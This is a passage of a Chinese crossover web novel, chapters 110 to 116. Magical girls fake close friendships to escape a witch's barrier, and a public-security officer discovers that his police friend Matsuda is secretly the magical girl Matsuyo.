……感觉这个概率非常大。 “我们之前已经做了很多违反原先人设的事情吧，现在再努力扮演那些人，就能够出去吗？” 禅院穗不免问道。 毕竟她们之前可是为了赚取学分，一直学习了很久……导致班上其他同学这些天都越来越怀疑地盯着她们。 “总能够圆回来的，大不了扮演得再努力一些就好了。” 津岛眨了眨眼睛。 “大家应该都能做到的吧？只需要伪装好自己的性格，在同学们面前表现出我们之间的关系非常非常好就可以了。” 松代：“……” 她更加怀疑津岛了。 这时候，津岛向朔夜投去目光：“前辈可以做到吗？” 朔夜不知道在想什么，神色看起来比往常还要生人勿进。 津岛也一时想不出对方到底会怎么做。 她们都知道朔夜拿到的人设是怎样的……性格跳脱、爱玩闹、在意她们这些朋友。 一向脸上连个表情也没有的朔夜真的能够做到这些吗？ 但如果做不到的话，虽然朔夜有可能凭借自身的武力值，带着她们直接破坏掉魔女结界出去。 可是，那些不确定是否存活的黑手党成员就一定会死掉。 朔夜会在乎那些黑手党的生死吗？ 从过往的事迹来看，朔夜似乎会是在意他人生命的那种人，毕竟她每次出现时都不会看着别人死掉而袖手旁观。 不过津岛却真的很难想象，朔夜也跟着她们一起演戏的样子。 这么久以来，每次见朔夜都是这副寡言冷漠的样子，津岛都快要怀疑对方是不是有什么面部疾病，根本做不出来其他表情。 其他魔法少女显然也想到了这些，纷纷迟疑地看向朔夜。 伊江朔久却拿不定主意。 该怎么做呢？ 伊江朔久在进入结界后不久，也很快如津岛一般早早想到了出去的办法。 从那一刻起，便一直在想该怎么办才好。 按照他当时告诉系统的话来看，朔夜的性格有着debuff，是无法凭借自己意志而改变的。 但是现在系统不在…… 小小地暴露一点应该也没关系吧，都是可以在后面补救的，到时候出事了自己也有些办法可以再糊弄过去。 伊江朔久这么想着，抬头对上了其他人的目光。 白发少女轻轻叹了一口气，罕见地露出了一个很淡的笑容。 按理来说，朔夜本应该是永远都不可能表现出这样的一面的。 语希圕兌Ｈ 但此刻，她却笑着说：“我知道了，我能够做到的。” 其他人都陷入了自我怀疑之中。 这是梦境吧？ 一定只可能会是梦境吧？ 朔夜真的能够表现出这副样子吗？？！ 换做是其他任何人，她们都不会有这般吃惊，但她们唯独想象不到朔夜能够做到这种程度。 原来这个人是真的会露出笑容吗…… 艾尔菲想起了刚才鹤田对津岛说过的话。 现在她才终于理解了鹤田的心情。 此时此刻，这个样子的朔夜还真是像被什么东西附身了一般…… 真恐怖啊。【你现在阅读的是 】 110-120 第111章 接下来的时间里，虽然魔法少女们不用再努力学习了，但是她们却莫名觉得时间变得更难熬了。 少女们忍着尴尬的情绪，在全班同学和老师面前进行‘表演’。 不过，除了朔夜之外，其他人扮演自己角色的性格都不算很为难。 因为虽然性格有着不小的反差，但她们也不需要和别人怎样近距离相处，往常的‘她们’是彼此最好的朋友，当然都是内部混在一起玩的。 为难的是，要在所有人面前伪装出她们关系很好的那一面。 ——松代非常不自在地站在办公室里。 “我怎么看你最近还常常跟她们混在一起呢？” 青木老师语重心长地劝着，脸上不太高兴，但看起来却并不意外，显然早就觉得松代不可能轻易和那些人划清界限。 “现在学习才是最重要的啊。你跟着她们，她们就只会把你带坏。这样的话，你以后该怎么办啊……” 老师又在说个不停。 松代只能被迫听着。 真是的，她也不是故意给对方说自己会和那些人划清界限，却又忽然反悔的。 是自己原本的人设就是不可能和她们绝交。 要是自己现在向老师保证，绝对再也不和她们联系。恐怕老师会先怀疑而失常地问，你真的是松代吗？ 所以，松代只能被迫说出违心的话。 “她们是不会把我带坏的，她们其实只是学习差，但人都还算……” 松代深吸了一口气，近乎是咬牙切齿地道： “……都还算、挺好的。” 青木老师摇了摇头：“唉，你看她们之前一天到晚就知道玩，心思都不放在学习上，居然还会逃学……哪有个好学生的样子了。最近表面上装了几天好好学习，可是很快就又变回之前的样子了。” 松代很艰难地伪装着，继续被迫说着她们的好话。 “她们没想着打扰我学习，之前是我的错，以后我会尽量带她们好好学习的……” 老师则继续露出恨铁不成钢的表情。 松代只能在心里无声叹气。 她明明也不想说出这些话啊…… 但离谱的是，只有对着青木老师说出这种对方并不爱听的话，对方才会相信她就是松代。 除此之外，课上课下她们互相帮助得更加明显了。 就像之前的‘她们’一样，时时刻刻都黏在一起。 每个魔法少女也都是真正地好好体验了一次，高中少女们的日常生活与友情羁绊。 “干什么都要一起吗？” 禅院穗感觉非常别扭。 “当然啦，而且我们表现出对彼此的友好与亲切。朔夜前辈不就演得很厉害吗？” 津岛说道：“也多向前辈学习一下吧。” 说到朔夜，其他人就感觉更别扭了。 这段时间的朔夜真的像是突然换了一个人般。 就好像是原本她们从未见过、只存在于同学老师口中的那个‘朔夜’，在如今的这个朔夜身体里复活了一样。 她真的变得活泼、爱玩闹，非常在意她们这些朋友。 这种演技真是太恐怖了。 搞得她们完全适应不了一点，却还必须得配合着一起演戏，使得最近每个人精神都有些恍惚。 “呵，这么说，是要像那些女生一样，走路都得手挽手吗？” 艾尔菲看向不远处手挽手走远的两个女子高中生。 津岛：“……这个还是算了吧。” 艾尔菲也发现了。 津岛嘴上可能会说得很夸张，实际上也会适应不来和别人保持亲近的关系。 “不，还是试一试吧，你看别人都这么做了。” 艾尔菲看着津岛浮现出退缩之意，反而更进一步，提高声音笑着说道： “我们几个好朋友关系这么好，手挽手怎么了，是吧？” 总是津岛每次调侃其他人，跟她们开一些离谱的玩笑……现在艾尔菲抓到机会，也忍不住想要报复回去。 虽然艾尔菲自身也觉得这话说得有点恶心，但是为了报复对方，她还是忍耐着这么说了。 津岛稍稍有点僵硬地道：“……真的算了吧。” 这种表演作秀真是无差别攻击。 每个人的精神都或多或少受到了一些伤害。 不过，许多戏都是演着演着就成真了……这种话还真是没错。 就像是一个人如果在不开心的时候，伪装着笑起来，也会形成心理暗示，让自己逐渐变得真的开心起来。 这几个少女伪装得关系很好，每次对彼此都用很好的语气，表现出善意的笑意，装作永远都有话可说的样子…… 之前闹矛盾时产生的别扭尴尬氛围，便早就消失不见了。 关系还真是糊里糊涂就缓和了许多。 但是虽然时间没过去多少，她们几个难熬得仿佛已经度日如年了。 终于，她们察觉到周围的环境产生了异动。 就像刚进入这个结界时的那样，四周开始变得模糊不清，其他同学的身影慢慢消失，场景一点点重组…… 应该是要将她们送离这个结界了。 朔夜在此刻卸下了之前的那层伪装，脸上又恢复了面无表情，手上不知何时拿上了一张弓。 ——她感受到了魔女的存在。 其实，朔夜刚进来的时候，也曾有一刻敏锐地察觉到了那微弱的感觉，但是她当时没有选择出手。 就是因为之前津岛说的，要利用这次机会缓和几个魔法少女之间的关系。 现在她们关系是变好了…… 可是朔夜也算是付出了点代价。 她这一次直接举弓，精准地瞄准异常的那处地方。拉弦，松手，箭矢快速飞了出去…… “咻——” 箭矢实实在在地穿透了似乎什么都没有的空气，命中了藏在那后面的魔女。 这一刻周围环境的变化停止了下来，一切好像都降级了。 箭矢穿过的地方，那一大片空气如同化作了幕布似的缓缓揭开，露出了面前无比壮观的众多观众席。 等等，幕布？！ 观众席？？！！！ 第112章 观众席只有前几排才坐着人类，后面都是一大片密集的黑色人影，看起来像是使魔。 随着魔女的死亡和结界的逐渐崩塌，那些黑色人影也在慢慢消失淡化。 但是它们仍安稳地坐在座位上。 甚至似乎是因为刚看了一场不错的演出，它们都满意地咧嘴笑着，欢快又协调的鼓掌声连绵不绝…… 而作为这场演出的演员，台上的几位魔法少女此刻脸色一下子就黑了。 那些正在自动消失的黑色人影可以不用去管，但是前几排那真实的人类便不得不去在意了。 他们大多穿着黑色西装，身上配着枪，很显然就是那些被困在结界里的黑手党成员。 那些人脸上的表情各种各样，总之都挺精彩的，肯定看过了刚才那场难以言喻的演出。 太宰治一眼就瞥见了其中那个有着黑白渐变鬓发、脸色较为苍白的人——芥川龙之介。 这些被困的人还活着，这算是一个好消息。 可是仔细回想一下，她们刚才都装模作样地表演了些什么，这些人居然还坐在观众席从头到尾都看着…… 魔法少女们觉得实在有点窒息。 这是什么恐怖故事！！！ 一时之间没有什么人说话，大概是那些黑手党也感受到了魔法少女们恨不得他们原地消失的心情。 结界快速地崩塌着，朔夜默默走上前去，从魔女的尸体里捡起了它的那颗悲叹之种。 回到现实之中后…… 看着那些失踪的同伴都回来了，港口黑手党的其他成员都还是挺高兴的，那些人脸色显而易见得缓和了许多。 森鸥外向几位魔法少女走去，微笑着道：“辛苦了，谢谢你们将我重要的下属们带回来。” 但是这几个少女却看着明显不对劲。 听到森鸥外这么说，她们没有一个人趁机邀功、想为自己再争取点好处，而是沉默寡言地站在那里，仿佛集体cos木头人。 连津岛也没有阴阳怪气地讽刺一下森鸥外说这种话的虚伪。 最终还是禅院穗勉强先开口道：“事情既然解决了，我们就先回去了。” 真的，真的没办法在这地方待下去了。 看见这些黑手党成员，就让她们想起自己在结界里做过的那些戏，完完全全就是黑历史被当众直播一样的感觉。 她们几个估计很长一段时间都不想见到港口黑手党的任何人…… 甚至要不是因为合作，她们这辈子都不想再踏入这里了。 森鸥外有点讶异。 看来结界里似乎发生了什么有趣的事情呢。 他又看了看自己的那些下属。 他们明显一副有很多话想说的样子。但应该是顾虑着首领在谈话，所以都暂且安静地待在一旁。 森鸥外温和地笑了笑，没有多问，也用不着拦下这几个魔法少女，反正之后那些下属也会把里面的情况告知自己。 于是，魔法少女们快速地离开了港口黑手党。 在津岛的帮助下，她们直接一出门就瞬移到了津岛在东京的那个安全屋里，也就是她们第一次约着会面的地方。 她们心里终于缓了一口气。 疲惫感也慢慢涌上心头。 毕竟处理这次魔女花费的时间太长了，她们一直没能有机会好好休息。幸好成为魔法少女之后，她们的身体素质和恢复能力也都或多或少有所提升。 终于一切都暂时结束了，几个魔法少女也就准备各自回去了。 不过其他人还没来得及开口，津岛便先出了声，吸引了所有人的注意力。 “没想到，前辈你的演技这么厉害啊。之前完全像是换了一个人般，把我们都吓了一跳……” 津岛毫不保留地夸赞着。 朔夜并不会因为这种夸赞而感到开心，她现在根本一句话都不想说。 奈何可能是之前的做戏，让其他人不知不觉间适应了点和她的相处，都不怎么懂得知难而退了。 其他魔法少女也纷纷忍不住投来目光。 松代点点头说：“那演技确实很厉害。” 尤其是现在看着一脸冷漠的朔夜，她们都快要觉得不久前那个会笑着跟她们搭话的朔夜，说不定只是梦中的存在而已。 这割裂感也太夸张了吧。 “你认真起来的时候，在表演这方面也有很不错的天赋。” 朔夜立刻这么说着，企图将其他人的注意力转到津岛那里。 津岛在结界里的表现确实也挺出色，能够很顺利地扮演与自己反差很大的人，拿捏人心的确很有一手。 不过，津岛的表演还是完全没朔夜给人的冲击感强。 所以魔法少女们此刻显然依旧对朔夜更感兴趣。 津岛扬起笑容，不紧不慢地对朔夜道：“可是，我的演技却还是完全比不过你呢。前辈愿意稍微教导一下我们吗？” 朔夜：“……” 她总感觉对方貌似不怀好意。 “就教教我们嘛，万一以后我们再遇到类似的危险情况，说不定还可以派上用场。” 津岛这说话的语气与其如今少女的身份还真是完全不违和。 不过……她说的倒也不是没有道理。 朔夜迟疑了片刻，再看了看其他人也明显好奇的目光，她才慢一拍地开口。 “表演大概可以分为三种派别。分别是体验派、方法派和表现派。” “体验派要求完全融入角色，在心里模拟角色的思想感受，达到接近于下意识的真实状态。” “方法派注重用具体方法解决表演中的问题，通过引发自身类似经历中的情感来进行表演。” “表现派强调用外在的表演形式，来展现角色的情感和性格，类似于用第三人称的视角去设计角色。” 朔夜难得说了这么多话，其他魔法少女倒也都听得格外认真，仿佛回到了前不久在课堂上努力听课学习时的状态。 “研究琢磨好自己适合哪个派别，然后一直磨练下去，演技自然会有所提升……” 朔夜顿了顿，说道：“表现派不够真实、不适用于现实中的做戏，体验派的入戏和出戏又都比较艰难，所以我更推荐你们选择方法派。” 其他人若有所思地点点头。 津岛却还没忘记随口问出关键的问题。 “那么，前辈用的是哪一种派别呢？” “……” 朔夜沉默了。 其他人也有些愣住了，她们在这样的沉默中察觉到了一丝异常，但是没人能想通那异常到底源自于哪里。 就连提出这个问题的津岛，其实也只是提前抓住了一点若有似无的灵感。 然而，缺少的拼图实在是太多了。 谁都无法凭空获得一切的答案。 仿佛过了很久，又似乎只是短短一瞬间，朔夜不带任何情感地突然开口：“我先走了，下次见。” 随即，不等别人有任何反应之前，朔夜便很快转身离开了这里。 第113章 太掉以轻心了。 居然会犯这样的错误…… 伊江朔久心情比较糟糕，一个人悄悄回到自己的房间里。 坐回到轮椅上后，他怔然了片刻，接着从身上拿出了自己的灵魂宝石。 之前他一直都在尽可能地藏好它，就连变身后也是将它戴着脖颈上、被围巾遮盖在下面。 所以，几乎没什么人能看清这个灵魂宝石的具体样子。 ——总体呈现出深沉的黑色基调，但是仔细看又能发觉其中渗透着一抹青色，两者巧妙地交织在一起。 伊江朔久使用了一整颗悲叹之种，才让宝石稍微青得更明显了一些。 虽然还有别的悲叹之种，但目前不必着急使用。 他足够有经验，知道自己灵魂宝石这样的状态还能够再坚持很长一段时间，不会轻易全部黑掉的。 伊江朔久忍不住叹了口气。 思绪还是不由得飘向不久前的那些事情。 自己太掉以轻心了。 那几个魔法少女应该都或多或少地察觉到了问题。 ……其实他并不是一开始就在表演这方面有天赋的。 四年以前，他根本就不擅长表演，没办法有那么高的天赋速成。 为了不在任何细节出错，伊江朔久只能用最费力又辛苦的办法。 ——用心理暗示将自己变成另一个人。 只有尽力骗过自己，让自己下意识的反应都出自真情实意，才能够骗过其他所有人。 这四年来，他随时随刻都在表演，用努力弥补天赋的不足，不敢有丝毫懈怠。 心里想的话、口中说出来的话……永远都是假话远比真话多得多。 所以，当时在魔女的结界里，朔夜才能够熟练地快速代入原先的‘朔夜’，用那个‘朔夜’的思维来行事。 可是现在，伊江朔久却没办法完全融入他原先自己设定好的朔夜的人设。 因为他不可能不顾及那几个魔法少女和其他人的安全，不可能真正地漠然，做不到不在意与自己本应该无关的事情。 也就无法按照原本预想好的那样，利用朔夜的设定……让那些人反感排斥朔夜，以便达成最后的计划。 不过，这种事情也不是不能够补救。 只是不能再掉以轻心地提前暴露任何秘密了。 伊江朔久收回心思，轻轻闭上眼睛。 像这四年来每一天的无数个时刻般，他又一次熟练地用心理暗示来洗脑自己…… 他是伊江朔久。 四年前意外穿越才来到这个世界。 他认识太宰治、松田阵平他们，知道那些剧情走向……只是因为他在穿越前的世界里早早看过原著。 他绑定了系统。为了拯救世界，所以需要找到能够成为魔法少女的同伴，帮忙消灭所有的魔女…… …… 其他魔法少女当时在朔夜突然离开之后，几乎都愣住了，随后面面相觑了几秒。 那家伙是生气了吗？ 看起来好像是吧，但也没人能说准问题到底出在哪里。 “那个，天色不早了，我想起来有点事情……我也得先走了。” 禅院穗突然出声道。 真是要命，这次处理魔女没想到会花费这么长时间。 也不知道自己这次失联两三天，津美纪会有多担心，还有其他人不会以为自己祓除咒灵时出意外了吧…… 想想都觉得头疼，这真是太难解释了。 其他人大多也是脸色一僵。 她们也想起了失联这几天会引来的麻烦事，纷纷提出告别。 菲茨杰拉德又一个人麻烦地从东京再次回到横滨。 回到组合如今的据点、解除变身后，他便第一时间给女儿打去了电话。 电话一接通，就听见对面关切又着急的声音。 “爸爸，你终于有个消息了！怎么回事？为什么这些天我们都联系不上你？” 紧接着，电话对面的另一个声音响起，是他妻子泽尔达的声音。 “弗朗西斯，你还好吗？” 菲茨杰拉德心里一暖，思念的情绪也顿时如潮水般涌起。 如果能够随时见到她们就好了…… 可惜，还是必须要有所舍弃。 作为一个非常成功的商人，菲茨杰拉德当然不会相信这个世界上有凭空掉下来的馅饼，自己送上来的大礼背后一定提前标注好了价格。 魔法少女和魔女的设定大概率没那么简单。 不过……只要泽尔达和斯科蒂能够好好的，他自己怎样都无所谓。 菲茨杰拉德编了个谎言应付过去，耐心而温和地安抚着自己最重要的两个家人。 尽管自己忙碌了好长时间，还没有好好休息一下，但他还是又跟她们闲聊了很长一段时间。 终于挂了电话，忽然听见门外有人轻轻敲了两下门。 “弗朗西斯大人。” 是组合的成员、他的一个下属。 菲茨杰拉德疲惫地按了按眉心，说道：“进来吧，有什么事情？” 那个组合成员开门进来，手上拿着一个很小的包裹，迟疑道：“不知道是谁将这个放到了据点外，上面写着是给您的。” 给他的？ 能知道组合据点、又这么神神秘秘指名给他送包裹的会是谁？ 而且这个包裹看着也太小了，里面能装得下什么？ 菲茨杰拉德没什么头绪，也便不再浪费时间思索，直接说：“我知道了，你放下吧。” 组合成员应下，将包裹放在了旁边的桌子上，然后便退了出去。 菲茨杰拉德打开包裹。 果然里面小得就只装下了两张被折叠后的书页…… 两张书页？ 菲茨杰拉德一下子就想到了津岛，那个人利用那本封面写着《女生徒》的书经常各种瞬移，去哪里都方便得很。 瞬移…… 他想到了自己远在美国的家人。 心跳本能地加快了几分……难道说，可以借用这书页随时在日本和美国两地之间来回吗？ 这时，他手机振动了一下。 菲茨杰拉德拿出手机，看到了津岛私聊自己的消息： 【可以利用一张书页随时去到另一张书页所在的地方，但是我能够随时感应并传送到任何书页的位置。还有在别人使用时，我可以选择是否同意。】 他倒是也预想到了可能会有这种情况。 不过如今津岛早就知道了自己的身份，这些倒也不算什么了。 津岛：【这是还你上次在结界里帮忙出声提醒的人情。】 菲茨杰拉德瞬间想起不久前的结界里，自己当时路过看见津岛和鹤田的异样，随口出声问了一句…… 这件事说起来根本不算什么。 回忆了一下这些天和津岛的争锋相对，他心情有些复杂……慢上好几拍才回复了对方。 艾尔菲：【谢谢。】 第114章 比起菲茨杰拉德来说，伏黑惠还是个学生，所以失踪几天造成的后果就更麻烦、更难以解释了。 伏黑惠本来是想将这种事和祓除咒灵扯上关系的。 但是，想了想咒术界专门负责观察寻找咒灵踪迹的‘窗’…… 他知道自己很难编出合适的理由瞒过其他人，便只好说：“我这几天不小心误入了一次魔女的结界。” 其他人对魔女的事情应该都还不太了解，刚好方便伏黑惠半真半假地解释。 “……我一直被困在里面，找不到出来的办法。直到有魔法少女出现解决了魔女，结界才崩塌。” 钉崎野蔷薇很感兴趣地听着，及时问道：“是哪个魔法少女？” 旁边的五条悟悠悠地说：“是穗酱吧。” “穗酱？禅院穗？” 钉崎野蔷薇回想了一下，然后不确定地道：“就是传说中禅院家流落在外的血脉、不去做咒术师反而做了魔法少女的那个女孩子？” 伏黑惠不由得脸色一黑。 “……你从哪里听来的谣言？” “谣言吗？”钉崎野蔷薇皱眉说道：“可是，咒术师论坛里的很多人都是这么说的，有些人还讲得有鼻子有眼的。禅院家也没人出来辟谣，甚至还在大张旗鼓地寻找禅院穗的踪迹。” 伏黑惠顿时想起了之前禅院真希提醒自己的事情。 居然真的这么离谱…… 禅院家到底都在想什么啊。 要是他不是当事人，只是一个不清楚具体情况的旁观者，估计也可能会信了这离谱的传言吧。 “就是谣言吧。”五条悟慢吞吞地道：“穗酱大概率不是禅院家的，她的名字应该也只是假名。” 五条悟这也算是帮伏黑惠辟了谣。 但是，伏黑惠总感觉听到五条老师这么说，自己心里仿佛更加莫名地不安了。 虎杖悠仁惊讶地望向五条悟：“诶，这样吗？” 钉崎野蔷薇紧跟着问道：“你怎么知道的？……话说，你怎么叫她穗酱？你认识她？” 五条悟神秘地笑了笑，揽过伏黑惠的肩膀。 “这很简单啊——因为穗酱是惠的女朋友嘛，估计禅院穗的这个假名就是惠给起的，对吧？” 伏黑惠身体僵住了。 就知道不能对五条老师放心。 但他还是忍不住质问道：“五条老师你不是说，不会把这件事说出去的吗？” “啊呀，不好意思，我忘了。” 五条悟的语气听起来很没有诚意。 “不过让野蔷薇和悠仁知道了也没什么。他们还能够帮忙给你偷偷出去约会打掩护呢，总是瞒着他们也不太好吧。” 伏黑惠：“……” 五条老师你说的很好，拜托下次不要再说了…… 他很快感受到两道很有存在感的目光黏在了自己身上。 虎杖悠仁语气很复杂：“原来你们是这样的关系，居然之前完全不告诉我。” 钉崎野蔷薇吃惊道：“没想到你居然是我们之中第一个脱单的……等等，虎杖你这句话，你也认识禅院穗？” 虎杖悠仁点了点头。 钉崎野蔷薇：“？？？什么啊，这里竟然就只有我不认识她。我也想认识魔法少女啊，可恶。” 伏黑惠只能当没听到。 他可一点都不想在变身后见到自己的同学。 “对了。”钉崎野蔷薇突然想到之前的事，立刻说：“所以你之前袋子里的女装其实是禅院穗的，你没有穿女装的癖好？” 五条悟感叹了一句：“哇哦，没想到你和女朋友的关系这么好。” 伏黑惠咬牙切齿道：“……是的。” “话说，惠你知道吗，那些烂橘子对魔法少女的存在很感兴趣哦。” 五条悟忽然提起了这个话题，语气都稍微正式了一些：“他们找了不少人手来调查关于魔法少女的事情，前不久居然还找来这里，希望我们高专能够帮忙搜集信息呢。” 伏黑惠感觉有点头疼：“……我知道了，我会告诉禅院穗让她小心的。” 五条悟却说：“一直躲下去也不是什么好办法吧？” 伏黑惠无言。 “不如让魔法少女们出面和五条家达成合作关系吧？” 五条悟语调微扬地说道：“以此为跳板，再让她们慢慢接触咒术界，和那些烂橘子交涉一番……毕竟没有永远的敌人，只有永远的利益。” 伏黑惠愣了一下。 这说的确实很有道理。 不过他倒也没想到，五条老师甚至都没怎么见过魔法少女，就这样直接决定了帮助她们…… 伏黑惠低声道：“谢谢了，五条老师。” 五条悟揉乱了他的发型，笑着说道：“合作而已，又不是我单方面帮忙。不过，总是得让我见一下合作对象吧？什么时候把你女朋友带来让老师见见？” 伏黑惠：“……” 要命了，只有这个实在是没有办法。 必须得让他先学会分身术才行。 伏黑惠卡壳：“我……” 钉崎野蔷薇忍不住道：“我也想见见魔法少女！” 伏黑惠艰难地编了个理由：“……因为网上的事情，她最近一直比较忙。我会告诉她，让她一有空就主动来找你。” “这样么……”五条悟语气莫名地停顿了几秒，接着又笑道：“没关系，我不着急。” 伏黑惠终于默默缓了口气。 …… 不过相对而言，不管是菲茨杰拉德，还是伏黑惠……他们目前的处境都还算可以。 更不用提平常就总是突然玩失踪的太宰治，他的同事早都习惯了他时不时逃班了。 最糟糕的只有松田阵平。 他觉得自己的职业生涯真是越来越黯淡无光了。 虽然警察这职业是个铁饭碗，但是他表面上近来常常请假、还突然失踪了两三天，背地里居然与黑手党达成了合作关系…… 真是怎么想怎么觉得糟糕。 从津岛在东京的那个安全屋离开后，松田阵平已是身心疲惫。 但为了安全起见，松代戴着兜帽、墨镜和口罩，还小心地绕了几圈路才回到了自己家。 她熟练地拿出钥匙来开门…… 虽然失踪这种事情还没来得及好好给自己上级解释，但松代实在是太累了，她的恢复能力又不像禅院穗那么好，只想先休息几个小时。 那些麻烦的、想起来就令人头疼的事情，还是等醒来后再去解决吧。 反正也不差这几个小时。 想法很好，可是预料之外的麻烦事找上门了。 成为魔法少女后变得更加灵敏的听力，提醒着松代——自己家里有奇怪的声响。 应该是有人在自己不在家的时候，偷偷摸摸地进来了。 会是谁呢？ 松代站在门外，用钥匙开门的动作暂时停下了。 小偷吗？还是说…… 第115章 自从入职了波洛咖啡厅、和伊江朔久交谈过后，降谷零便一直想找机会和松田阵平好好谈一谈。 谈关于伊江朔久还有萩原研二的事情。 毕竟松田阵平看上去和伊江朔久比较熟，降谷零虽然答应了给伊江保密，但也真的很好奇伊江的秘密，想试探一下松田到底都知道些什么。 而且萩原研二被洗脑的具体情况还不清楚，降谷零不方便直接去找他。 先来找松田阵平是最好的办法。 只可惜，降谷零身兼多职，一时抽不出空来。 等到他有空了，却又发现松田阵平一天到晚不知道在忙些什么，下班之后的踪迹神出鬼没。 极其谨慎小心，仿佛生怕有人跟踪一般，而且隐藏踪迹的本事厉害得和以前大不一样。 也正是因此，降谷零派出去盯着他的公安下属总是无功而返。 待降谷零准备亲自找上门的时候，松田阵平却突然失踪了…… 他顿时感觉大事不妙。 第一时间想到的就是，松田会不会是牵扯进萩原的事情了，导致被黑衣组织发现并灭口了。 于是，降谷零便担心地找机会来到了松田家，撬了锁进去准备调查一番，看看能不能找到什么他失踪的线索。 然而一进去，降谷零就看到松田阵平卧室的床上胡乱扔着一套女装。 ……女装？？！ 松田那家伙不是一个人住吗？怎么会有女装？ 难道……他有了女朋友？ 真是的，没想到这家伙居然不声不响地就脱单了吗？ 降谷零实在有点难以想象，猜不透松田和对象相处时会是什么样子。 等等…… 他看着那套女装察觉到了一丝不对劲，犹豫了片刻，小心地伸手翻了一下衣服。 果然，这套衣服是不是太小了一点啊？！ 看着应该也就是十四五岁的少女穿的才对。 松田他……应该不会这么谈这么小的女朋友吧？但是这种衣服被胡乱丢到床上也太奇怪了吧？没听说松田跟什么女性的关系有这么亲近啊。 降谷零思绪越来越混乱了。 迟疑了一下，他侧头看向旁边的衣柜…… 降谷零走过去，伸手打开了衣柜。 里面一大半是成年男性的衣服，还大多都是黑色的，倒也是松田阵平本人的风格。 可是，为什么旁边还挂着几件女装？？！ 还就这么直接和松田的衣服放在一起？这也太…… 降谷零忽然觉得对自己这个同期好友有点陌生了。 不是，松田他不会真的做了什么犯罪的事情吧？ 不对不对不对！ 松田再怎么说也不会是这样的人。 但是这种女装怎么解释？这大小和样式……不就是给少女穿的吗？为什么会和松田的衣服贴着放啊？？？ 这些到底该怎么解释？？！ 降谷零忙着头脑风暴，竟一时忘了小心注意外面的动静。 直到声音已经离他很近了，他才突然反应过来，却早就没时间去躲了。 卧室的门从外面被推开。 降谷零错愕地看过去。 见到一个黑发少女站在那里，毫不客气地举着枪，将枪口对准了他。 随着两人的视线交汇在一起，时间便仿佛瞬间停滞了下来。 降谷零怔住了。 黑色的及肩卷发、蓝色挑染，还有熟悉的面容……这些他都在网上见到过，这是魔法少女松代？ 松田阵平也愣住了。 他想着很可能是有什么危险人物发现了自己的异常，所以上门来找事，没想到居然是这个金发混蛋。 这日本公安到底是怎么回事？怎么随随便便私闯民宅啊？！ 松田阵平“嘁”了一声，率先行动，放下了自己手里拿着的枪，将其重新放回裙下的皮质枪套里。 降谷零不由得更加愣神了。 这是什么反应？ 对方这举动感觉就像是见到了熟悉的人一样…… 降谷零努力整理思绪，尽量恢复自己的理智，犹豫地问道：“松代小姐？你怎么会在这里？” 松田阵平听到“小姐”二字，不由得暗暗将心提了起来，赶忙反问道：“你又怎么会在这里？” “我、我是……” 降谷零一时不太好解释。 这种事情该怎么解释啊，说他是来朋友家做客的？但是他不清楚松代和松田是什么关系，胡乱编理由怎么能使对方信服？ 等等，松代和松田…… 这姓氏这么相似，读音几乎一样……绝对不可能是巧合。 降谷零抓住疑点，直接问道：“你和松田究竟是什么关系？” 这下子，结巴的轮到了松田阵平。 “我、我们只是朋友而已。” “朋友？” 降谷零指了下旁边敞开的衣柜：“这几件衣服是你的吧？” 里面的那几件女装和旁边的男装紧挨着放在一起，显得有些过于暧昧了。 不管任谁来看，都不太好用普通朋友来解释过去。 但是……松田阵平脸色实在难看。 自己的衣服和自己的衣服放在一起有什么问题啊？！完全不存在别人能够瞎想的情节啊！ 降谷零看着面前的黑发少女不说话，更加怀疑地道：“你平常是也住在这里吗？这里……就一张床吧？” 松田阵平深吸一口气。 求问，要是自己被朋友误会做过这么离谱的犯罪行为该怎么办？ 一个成年人和看起来就十四五岁的少女交往……这真是怎么看怎么可刑可铐。 对面这个朋友还是一位公安。 松田阵平都快忍不住起了一点想要灭口的心思，紧紧攥住拳头给遏制住了。 “我说，你这个金发混蛋的想象力是不是有点太好了啊？！” 面前黑发少女一字一句恶狠狠地说道。 第116章 金发混蛋…… 好熟悉的称呼、好熟悉的语气…… 降谷零难得有点懵。 作为一名公安、一个待在跨国犯罪组织的卧底，他经历过很多严格的训练。 按理来说，各种离奇事情也见得多了，他一般根本不会大惊小怪。也能够做到排除一切不可能的因素，选择再怎样难以置信的真相。 可是…… 这种事情显然不是一般的离奇吧？ 传说中的那个魔法少女真的是自己的同期好友吗？ 真的会是那个性子很直、喜欢耍帅、刚进警校就和自己在半夜打过架的男人吗？？！ 降谷零想要努力再想想其他的可能性，但是却怎么也想不到。 甚至他还越来越觉得似乎就是这样…… 之前那次在波洛咖啡厅，他就看见萩原和几个未成年坐一起，其中有一个好像是姓松田的少女。 当时那少女戴着兜帽、一直埋着头，所以降谷零没看到对方的面容，还在心里奇怪萩原为什么会和这些未成年相处。 现在想来，当时的那个兜帽少女应该就是松代。 也就是说，萩原知道松代的具体情况，而萩原和松田可是彼此关系最好的幼驯染…… 降谷零盯着面前少女的面容，恍惚了好久。 仔细看一看……这少女的长相确实和松田阵平有些相似。 只不过成年男性和少女的差别还是太大了，而这世界上向来不缺长相相似的人，所以很难通过外貌来认出魔法少女的真实身份。 降谷零终于忍不住难以置信地开口：“松……田？” 松田阵平实在不想应下。 看着对方那副怀疑人生的样子，松田就已经够火大的了。 不过在刚才的那种情况下，如果自己不选择暴露身份，就会被那家伙怀疑自己做了违法犯罪的事情…… 同样都是社死，松田阵平只能咬牙选择了一个相对而言听起来不是太过糟糕的选项。 而且，向降谷零坦白这件事是有用的。 可以借此和对方合作，方便更好地一起对付那个犯罪组织…… “怪不得之前萩原和你待在一起，你们原来早就互相知道了对方的事情……” 降谷零自言自语地喃喃道。 “松代居然就是松田，魔法少女？竟然会是这样……” 很显然，降谷零很难接受这件事，此刻有点前言不搭后语的。 松田阵平原本也是很难接受的，不过此刻却不想理解降谷零的心情，因为松田自己此刻也正处于掉马的糟糕心情之中。 总感觉这辈子都要在这个金发混蛋面前抬不起头了啊！ 但是松田阵平倒也听过一句话。 ——只要自己不尴尬，那么尴尬的就会是别人。 于是，黑发少女表面上理直气壮又毫不客气地开口：“你来我家到底是想干什么？” 降谷零顿了顿，不自然地回答：“……你失踪几天了，我怀疑和组织有关，所以想来调查一下。” 松田阵平直接道：“和组织没关系，我这几天在魔女结界，那里没有信号。” “魔女结界……危险吗？”降谷零生疏地接上了这个话题。 “……还好吧。虽然比较麻烦，但最后好在没人出事。” 松田阵平也很不习惯这种感觉。 两个人别扭得完全不像是熟人。 降谷零沉默了半晌，还是忍不住问道：“你是怎么成为、呃，魔法少女的？” 松田阵平：“……” 谈及这个话题完全就是在揭开自己的黑历史吧？ 